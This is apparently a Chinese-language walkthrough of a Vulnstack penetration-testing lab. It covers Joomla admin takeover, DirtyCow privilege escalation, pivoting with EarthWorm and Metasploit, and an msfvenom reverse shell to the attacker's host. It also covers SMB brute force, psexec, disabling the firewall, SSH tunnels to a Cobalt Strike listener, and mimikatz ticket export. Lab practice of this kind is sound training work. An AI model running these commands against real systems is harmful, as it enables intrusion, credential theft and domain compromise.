http://vulnstack.qiyuanxuetang.net/vuln/detail/5/
环境配置
打开虚拟机镜像为挂起状态,第一时间进行快照,部分服务未做自启,重启后无法自动运行。
挂起状态,账号已默认登陆,centos为出网机,第一次运行,需重新获取桥接模式网卡ip。
除重新获取ip,不建议进行任何虚拟机操作。
网络拓扑




外网渗透






这个密码字段是 Joomla 旧版本支持的加盐哈希格式,可以根据官方文档直接写入已知密码 secret 对应的哈希。
https://docs.joomla.org/How_do_you_recover_or_reset_your_admin_password%3F/zh-cn

当不知道密码时,数据库密码直接改为d2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199可以直接用密码secret登录
INSERT INTO `am2zu_users`
(`name`, `username`, `password`, `params`, `registerDate`, `lastvisitDate`, `lastResetTime`)
VALUES ('Administrator2', 'admin2',
'd2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199', '', NOW(), NOW(), NOW());
INSERT INTO `am2zu_user_usergroup_map` (`user_id`,`group_id`)
VALUES (LAST_INSERT_ID(),'8');




发现命令不能执行,应该是有函数把function过滤了,用插件可以绕过过滤

Linux提权

发现主机有两个网卡,内网ip是192.168.93.120,并且版本是ubuntu4.4.0


user nginx;
worker_processes 1;
error_log /var/log/nginx/error.log warn;
pid /var/run/nginx.pid;
events {
worker_connections 1024;
}
http {
server {
listen 80;
server_name localhost;
location / {
proxy_pass http://192.168.93.120;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr; #获取真实ip
proxy_connect_timeout 90;
proxy_send_timeout 90;
proxy_read_timeout 90;
proxy_buffer_size 4k;
proxy_buffers 4 32k;
proxy_busy_buffers_size 64k;
proxy_temp_file_write_size 64k;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;#获取代理者的真实ip
proxy_redirect off;
}
}
}
stream {
upstream proxy_name {
server 192.168.93.120:3306;
}
server {
listen 3306;
proxy_pass proxy_name;
}
}
这个nginx配置文件就很清晰了,我们的webshell是在192.168.93.120(ubuntu)靶机上的,而通过反向代理到了192.168.93.100|192.168.22.140(Centos)
这就是为什么反弹shell和上传msf都没有成功(我就不试了,全坠机了),因为ubuntu没有出网,所以压根不知道你的kali(192.168.22.x)在哪,所以msf和反弹shell都失败
内核版本比较低( Linux Kernel 2.6.22 到 2016 年 10 月发布修复补丁之前的绝大多数版本 )https://github.com/imust6226/dirtcow

上传到/tmp文件后gcc -pthread dirty.c -o dirty -lcrypt对.c文件进行编译



可以考虑用earthworem或msf连接到内网,我两个都试一遍
earthworm:https://github.com/idlefire/ew
chmod +x ew_for_linux64 ./ew_for_linux64 -s ssocksd -l 1080 &

仅有一个代理还不够,这样所有流量都会塞进去,设置一个服务器代理规则


就没有一堆流量涌进来的现象了

kali配置
sudo vim /etc/proxychains4.conf
进入配置文件后,直接使用方向键滚动到文件的最底部,找到 [ProxyList] 这一块。
干掉默认节点: 你会看到一行默认配置 socks4 127.0.0.1 9050(这是留给 Tor 洋葱路由的)。在它最前面加一个 # 号把它注释掉。
添加 EW 节点: 在下面新建一行,写入你刚才通过 EarthWorm 建立的 SOCKS5 代理信息。

proxychains nmap -Pn -sT -p 80,445,3389 192.168.93.120

用ew代理应该就这样,因为我kali好像桥接一个网卡,不知道ew起没起作用
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.22.129 LPORT=5555 -f elf -o msfshell.elf
#192.168.22.129改为自己kali的ip
msfconsole -q
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set LHOST 192.168.22.129
set LPORT 5555
run


命令提示符从 msf > 变成了绿色的 meterpreter >就说明msf是上线了。
在 当前的 meterpreter > 提示符下,执行自动路由添加命令:
run autoroute -s 192.168.93.0/24
run autoroute -p

只要看到打印出的路由表里有 192.168.93.0,就说明这层网络逻辑已经打通
把当前的 Meterpreter 会话挂起到后台,回到 MSF 主控制台:
background
use auxiliary/server/socks_proxy
set VERSION 5
set SRVHOST 0.0.0.0
set SRVPORT 1080
run -j

看到 [*] Auxiliary module running as background job 就说明代理服务已经在 Kali 后台运行了
fscan -h 192.168.93.1/24 -proxy socks5://127.0.0.1:1080 -np

192.168.93.20 (主机名/FQDN 为 win2008.test.org),域为 test.org,NetBIOS 主机名为 WIN2008。 开放80(HTTP),135(RPC),139,445(SMB),1433(MSSQL)
192.168.93.30 (win7) 135(RPC),139,445(SMB)
192.168.93.10 (WIN-8GA…) 135(RPC),139,445(SMB)
我试了一圈没试出来,看博客说的用smb爆破,但是我字典里压根没有这个,手动加一下
新开一个kali窗口
echo "123qwe!ASD" >> /usr/share/wordlists/fasttrack.txt
background
use auxiliary/scanner/smb/smb_login
set RHOSTS 192.168.93.30
set SMBUser Administrator
set PASS_FILE /usr/share/wordlists/fasttrack.txt
set THREADS 10
run



use exploit/windows/smb/psexec
set payload windows/x64/meterpreter/bind_tcp
set RHOST 192.168.93.30
set SMBUser Administrator
set SMBPass 123qwe!ASD
run

shell netsh advfirewall set allprofiles state off
之后发现192.168.93.10,192.168.93.20都可以用这个密码,权限是system
思路是可以让Centos当回连地址,接收win2008发出的流量,然后传到kali上再本地转发到127.0.0.1:8888也就是CS监听器上

新建一个监听器,4422是centos的代理端口,8888是kali的监听端口

ssh -fN \
-o HostKeyAlgorithms=+ssh-rsa \
-o PubkeyAcceptedAlgorithms=+ssh-rsa \
-o ExitOnForwardFailure=yes \
-R 192.168.93.100:4422:127.0.0.1:8888 \
firefart@192.168.22.140
在centos开一个4422端口转发到kali的8888端口上

如果 SSH 连上了但远程转发失败,再去 CentOS 改:
AllowTcpForwarding yes
GatewayPorts clientspecified
use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http
set SESSION 1
set LHOST 192.168.93.100
set LPORT 4422
set DisablePayloadHandler true
set PrependMigrate true
set PrependMigrateProc explorer.exe
run
已有 WIN2008 的 Meterpreter 会话后,使用
set payload windows/x64/meterpreter/reverse_http



横向移动




域控主机名:WIN-8GA56TNV3MV.test.org


生成黄金票据



cd C:\
mimikatz kerberos::list /export
shell dir C:\*.kirbi


kerberos_ticket_use /path/to/ticket.kirbi
shell klist
shell dir \\192.168.93.10\c$




